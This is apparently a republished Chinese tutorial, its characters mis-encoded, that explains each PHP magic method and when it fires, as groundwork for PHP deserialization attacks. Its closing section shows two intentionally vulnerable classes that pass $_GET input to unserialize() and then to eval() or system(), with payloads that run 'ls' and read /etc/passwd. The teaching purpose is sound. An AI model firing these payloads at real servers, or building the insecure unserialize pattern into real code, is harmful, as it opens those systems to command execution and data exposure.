一、魔術(shù)方法
PHP魔術(shù)方法(Magic Methods)
是一組特殊的方法,它們?cè)谔囟ǖ那闆r下會(huì)被自動(dòng)調(diào)用,用于實(shí)現(xiàn)對(duì)象的特殊行為或提供額外功能。這些方法的名稱(chēng)都以雙下劃線開(kāi)頭和結(jié)尾,例如: __construct()
、__toString()
等。
魔術(shù)方法可以幫助我們實(shí)現(xiàn)一些特殊的行為,例如對(duì)象的初始化、屬性的訪問(wèn)控制、對(duì)象的轉(zhuǎn)換等。通過(guò)合理利用魔術(shù)方法,我們可以增強(qiáng)PHP對(duì)象的靈活性和功能性。
二、PHP魔術(shù)方法詳解
學(xué)習(xí)魔術(shù)方法,需要去熟悉每一個(gè)魔術(shù)方法的觸發(fā)時(shí)機(jī)
,這一點(diǎn)是在學(xué)習(xí) PHP 反序列化漏洞中最重要的,如果不知道什么時(shí)候出發(fā)魔術(shù)方法,就無(wú)法去構(gòu)造POP鏈
,其次,需要了解每個(gè)魔術(shù)方法的參數(shù)列表和返回值類(lèi)型,下面詳細(xì)介紹 PHP 中的魔術(shù)方法。
魔術(shù)方法 | 觸發(fā)時(shí)機(jī) |
---|---|
__construct() | 類(lèi)的構(gòu)造函數(shù),在類(lèi)實(shí)例化對(duì)象時(shí)自動(dòng)調(diào)用構(gòu)造函數(shù) |
__destruct() | 類(lèi)的析構(gòu)函數(shù),在對(duì)象銷(xiāo)毀之前自動(dòng)調(diào)用析構(gòu)函數(shù) |
__sleep() | 在對(duì)象被序列化(使用 serialize() 函數(shù))之前自動(dòng)調(diào)用,可以在此方法中指定需要被序列化的屬性,返回一個(gè)包含對(duì)象中所有應(yīng)被序列化的變量名稱(chēng)的數(shù)組 |
__wakeup() | 在對(duì)象被反序列化(使用 unserialize() 函數(shù))之前自動(dòng)調(diào)用,可以在此方法中重新初始化對(duì)象狀態(tài)。 |
__set($property, $value) | 當(dāng)給一個(gè)對(duì)象的不存在或不可訪問(wèn)(private修飾)的屬性賦值時(shí)自動(dòng)調(diào)用,傳遞屬性名和屬性值作為參數(shù)。 |
__get($property) | 當(dāng)訪問(wèn)一個(gè)對(duì)象的不存在或不可訪問(wèn)的屬性時(shí)自動(dòng)調(diào)用,傳遞屬性名作為參數(shù)。 |
__isset($property) | 當(dāng)對(duì)一個(gè)對(duì)象的不存在或不可訪問(wèn)的屬性使用 isset() 或 empty() 函數(shù)時(shí)自動(dòng)調(diào)用,傳遞屬性名作為參數(shù)。 |
__unset($property) | 當(dāng)對(duì)一個(gè)對(duì)象的不存在或不可訪問(wèn)的屬性使用 unset() 函數(shù)時(shí)自動(dòng)調(diào)用,傳遞屬性名作為參數(shù)。 |
__call($method, $arguments) | 調(diào)用不存在或不可見(jiàn)的成員方法時(shí),PHP會(huì)先調(diào)用__call()方法來(lái)存儲(chǔ)方法名及其參數(shù) |
__callStatic($method, $arguments) | 當(dāng)調(diào)用一個(gè)靜態(tài)方法中不存在的方法時(shí)自動(dòng)調(diào)用,傳遞方法名和參數(shù)數(shù)組作為參數(shù)。 |
__toString() | 當(dāng)使用echo或print輸出對(duì)象將對(duì)象轉(zhuǎn)化為字符串形式時(shí),會(huì)調(diào)用__toString()方法 |
__invoke() | 當(dāng)將一個(gè)對(duì)象作為函數(shù)進(jìn)行調(diào)用時(shí)自動(dòng)調(diào)用。 |
__clone() | 當(dāng)使用 clone 關(guān)鍵字復(fù)制一個(gè)對(duì)象時(shí)自動(dòng)調(diào)用。 |
__set_state($array) | 在使用 var_export() 導(dǎo)出類(lèi)時(shí)自動(dòng)調(diào)用,用于返回一個(gè)包含類(lèi)的靜態(tài)成員的數(shù)組。 |
__debugInfo() | 在使用 var_dump() 打印對(duì)象時(shí)自動(dòng)調(diào)用,用于自定義對(duì)象的調(diào)試信息。 |
1、__construct()
構(gòu)造函數(shù)__construct()
,在實(shí)例化一個(gè)對(duì)象的時(shí)候,首先會(huì)去自動(dòng)執(zhí)行該方法
<?php
class User {
public $username;
public function __construct($username) {
$this->username = $username;
echo "觸發(fā)了構(gòu)造函數(shù)1次" ;
}
}
$test = new User("benben"); //實(shí)例化對(duì)象時(shí)觸發(fā)構(gòu)造函數(shù)__construct()
$ser = serialize($test); //在序列化和反序列化過(guò)程中不會(huì)觸發(fā)構(gòu)造函數(shù)
unserialize($ser);
?>
2、__destruct()
析構(gòu)函數(shù)__destruct()
,在對(duì)象的所有引用被刪除或者當(dāng)對(duì)象被顯式銷(xiāo)毀時(shí)執(zhí)行的魔術(shù)方法
<?php
class User {
public function __destruct()
{
echo "觸發(fā)了析構(gòu)函數(shù)1次";
}
}
$test = new User("benben"); //實(shí)例化對(duì)象結(jié)束后,代碼運(yùn)行完會(huì)銷(xiāo)毀,觸發(fā)析構(gòu)函數(shù)_destruct()
$ser = serialize($test); //在序列化過(guò)程中不會(huì)觸發(fā)
unserialize($ser); //在反序列化過(guò)程中會(huì)觸發(fā),反序列化得到的是對(duì)象,用完后會(huì)銷(xiāo)毀,觸發(fā)析構(gòu)函數(shù)_destruct()
?>
以上代碼總共觸發(fā)兩次析構(gòu)函數(shù),第一次為實(shí)例化對(duì)象后,代碼運(yùn)行完會(huì),對(duì)象會(huì)被銷(xiāo)毀,觸發(fā)析構(gòu)函數(shù)
_destruct()
;第二次在反序列化過(guò)程中會(huì)觸發(fā),反序列化得到的是對(duì)象,用完后會(huì)銷(xiāo)毀,觸發(fā)析構(gòu)函數(shù)_destruct()
3、__sleep()
在進(jìn)行序列化時(shí),serialize()
函數(shù)會(huì)檢查類(lèi)中是否存在一個(gè)魔術(shù)方法__sleep()
。如果存在,該方法會(huì)先被調(diào)用,可以在此方法中指定需要被序列化的屬性,返回一個(gè)包含對(duì)象中所有應(yīng)被序列化的變量名稱(chēng)的數(shù)組。然后才執(zhí)行序列化操作。
此功能可以用于清理對(duì)象,并返回一個(gè)包含對(duì)象中所有應(yīng)被序列化的變量名稱(chēng)的數(shù)組。如果該方法未返回任何內(nèi)容,則 NULL
被序列化,并產(chǎn)生一個(gè) E_NOTICE
級(jí)別的錯(cuò)誤。
<?php
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
return array('username', 'nickname'); //sleep執(zhí)行返回需要序列化的屬性名,過(guò)濾掉password變量
}
}
$user = new User('a', 'b', 'c');
echo serialize($user); //serialize()只序列化sleep返回的變量,序列化之后的字符串:O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
//
?>
4、__weakup()
在進(jìn)行反序列化時(shí),unserialize()
函數(shù)會(huì)檢查是否存在一個(gè)__wakeup()
方法。如果存在,則會(huì)先調(diào)用__wakeup()
方法??梢栽诖朔椒ㄖ兄匦鲁跏蓟瘜?duì)象狀態(tài)。
<?php
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
$this->password = $this->username; //反序列化之前觸發(fā)_wakeup(),給password賦值
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}'; // 字符串中并沒(méi)有password
var_dump(unserialize($user_ser)); // object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password":"User":private]=> string(1) "a" ["order":"User":private]=> NULL }
?>
__wakeup()
在反序列化unserialize()
之前被調(diào)用__destruct()
在反序列化unserialize()
之后被調(diào)用
5、__toString()
當(dāng)使用echo
或print
輸出對(duì)象將對(duì)象轉(zhuǎn)化為字符串形式,或者將一個(gè)“對(duì)象”與“字符串”進(jìn)行拼接時(shí),會(huì)調(diào)用__toString()
方法
<?php
class User {
var $benben = "this is test!!";
public function __toString()
{
return '格式不對(duì),輸出不了!';
}
}
$test = new User() ; // 把類(lèi)User實(shí)體化并賦值給$test,此時(shí)$test是個(gè)對(duì)象
print_r($test); // 打印輸出對(duì)象可以使用print_r或者var_dump,該對(duì)象輸出后為:User Object( [benben] => this is test!!)
echo $test; // 如果使用echo或者print只能調(diào)用字符串的方式去調(diào)用對(duì)象,即把對(duì)象當(dāng)成字符串使用,此時(shí)自動(dòng)觸發(fā)toString()
?>
6、__invoke()
當(dāng)將一個(gè)對(duì)象作為函數(shù)進(jìn)行調(diào)用時(shí)會(huì)觸發(fā)__invoke()
函數(shù)。
<?php
class User {
var $benben = "this is test!!";
public function __invoke()
{
echo '它不是個(gè)函數(shù)!';
}
}
$test = new User() ; //把類(lèi)User實(shí)例化為對(duì)象并賦值給$test
echo $test ->benben; //正常輸出對(duì)象里的值benben
$test(); //加()是把test當(dāng)成函數(shù)test()來(lái)調(diào)用,此時(shí)觸發(fā)_invoke()
?>
7、__call()
當(dāng)調(diào)用不存在或不可見(jiàn)的成員方法時(shí),PHP會(huì)先調(diào)用__call()
方法來(lái)存儲(chǔ)方法名及其參數(shù)。
<?php
class User {
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test -> callxxx('a','b','c'); //調(diào)用的方法callxxx()不存在,觸發(fā)魔術(shù)方法call(),傳參(callxxx,a);$arg1:調(diào)用的不存在的方法的名稱(chēng);$arg2:調(diào)用的不存在的方法的參數(shù);
?>
__call(string $function_name, array $arguments)
該方法有兩個(gè)參數(shù),第一個(gè)參數(shù)$function_name
會(huì)自動(dòng)接收不存在的方法名,第二個(gè)$arguments
則以數(shù)組的方式接收不存在方法的多個(gè)參數(shù)。
8、__callStatic()
當(dāng)調(diào)用不存在或不可見(jiàn)的靜態(tài)方法時(shí),會(huì)自動(dòng)調(diào)用__callStatic()
方法,傳遞方法名和參數(shù)數(shù)組作為參數(shù)。
<?php
class User {
public static function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a'); //靜態(tài)調(diào)用使用"::",靜態(tài)調(diào)用方法callxxx(),由于其不存在,所以觸發(fā)__callStatic,傳參(callxxx,a),輸出:callxxx,a
?>
9、__set()
__set($name, $value)
函數(shù),給一個(gè)對(duì)象的不存在或不可訪問(wèn)(private
修飾)的屬性賦值時(shí),PHP就會(huì)執(zhí)行__set()
方法。__set()
方法包含兩個(gè)參數(shù),$name
表示變量名稱(chēng),$value
表示變量值,兩個(gè)參數(shù)不可省略。
<?php
class User {
public $var1;
public function __set($arg1 ,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test->var2=1; //給不存在的成員屬性var2賦值為1,自動(dòng)觸發(fā)__set()方法;如果有__get(),先調(diào)用__get(),再調(diào)用__set(),輸出:var2,1
?>
10、__get()
__get($name)
函數(shù),當(dāng)程序訪問(wèn)一個(gè)未定義或不可見(jiàn)的成員變量時(shí),PHP就會(huì)執(zhí)行 __get()
方法來(lái)讀取變量值。__get()
方法有一個(gè)參數(shù),表示要調(diào)用的變量名。
<?php
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2; //調(diào)用的成員屬性var2不存在,觸發(fā)__get(),把不存在的屬性的名稱(chēng)var2賦值給$arg1,輸出:var2
?>
11、__isset()
當(dāng)對(duì)一個(gè)對(duì)象的不存在或不可訪問(wèn)的屬性使用 isset()
或 empty()
函數(shù)時(shí)自動(dòng)調(diào)用,傳遞屬性名作為參數(shù)。
<?php
class User {
private $var;
public function __isset($arg1)
{
echo $arg1;
}
}
$test = new User() ;
isset($test->var); // 調(diào)用的成員屬性var不可訪問(wèn),并對(duì)其使用isset()函數(shù)或empty()函數(shù),觸發(fā)__isset(),輸出:var
?>
12、__unset()
當(dāng)對(duì)一個(gè)對(duì)象的不存在或不可訪問(wèn)的屬性使用 unset()
函數(shù)時(shí)自動(dòng)調(diào)用,傳遞屬性名作為參數(shù)。
<?php
class User {
private $var;
public function __unset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var); // 調(diào)用的成員屬性var不可訪問(wèn),并對(duì)其使用unset()函數(shù),觸發(fā)__unset(),輸出:var
?>
13、__clone()
當(dāng)使用 clone 關(guān)鍵字復(fù)制一個(gè)對(duì)象時(shí)自動(dòng)調(diào)用。
<?php
class User {
private $var;
public function __clone( )
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test) // __clone test
?>
三、魔術(shù)方法漏洞利用示例
1、__destruct()漏洞利用
<?php
class User {
var $cmd = "echo 'dazhuang666!!';" ;
public function __destruct()
{
eval($this->cmd);
}
}
$ser = $_GET["benben"];
unserialize($ser); //反序列化觸發(fā)_destruct(),destruct()執(zhí)行eval(),eval()觸發(fā)代碼
?>
以上代碼在反序列化之后,會(huì)觸發(fā)__destruct()
魔術(shù)方法,該方法中有命令執(zhí)行函數(shù)eval()
,又因?yàn)榉葱蛄谢傻膶?duì)象里的值,由反序列化里的值提供;與原有類(lèi)預(yù)定義的值無(wú)關(guān),所以我們?cè)谛蛄谢址兄匦陆o$cmd
賦值,例如:$cmd="system('cat /etc/passwd');"
,這樣在反序列化之后會(huì)去執(zhí)行eval()
函數(shù),從而觸發(fā)代碼執(zhí)行。這只是最簡(jiǎn)單的反序列化漏洞利用方式,旨在理解如何去利用反序列化去觸發(fā)代碼執(zhí)行。
// payload:
?benben=O:4:"User":1:{s:3:"cmd";s:26:"system('cat /etc/passwd');";}
2、__wakeup()漏洞利用
<?php
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
system($this->username);
}
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>
和上一題__destruct()
漏洞利用方式類(lèi)似,在反序列化之前會(huì)觸發(fā)__wakeup()
,該函數(shù)中有執(zhí)行系統(tǒng)命令的system()
函數(shù),他去執(zhí)行對(duì)象的username
屬性,所以我們?cè)谛蛄谢址凶?code>username的值為系統(tǒng)命令即可。
// payload:
?benben=O:4:"User":1:{s:8:"username";s:2:"ls";}
文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-602488.html
以上知識(shí)總結(jié)來(lái)自橙子科技php反序列化漏洞學(xué)習(xí),并結(jié)合自己的理解。文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-602488.html
到了這里,關(guān)于PHP反序列化漏洞之魔術(shù)方法的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!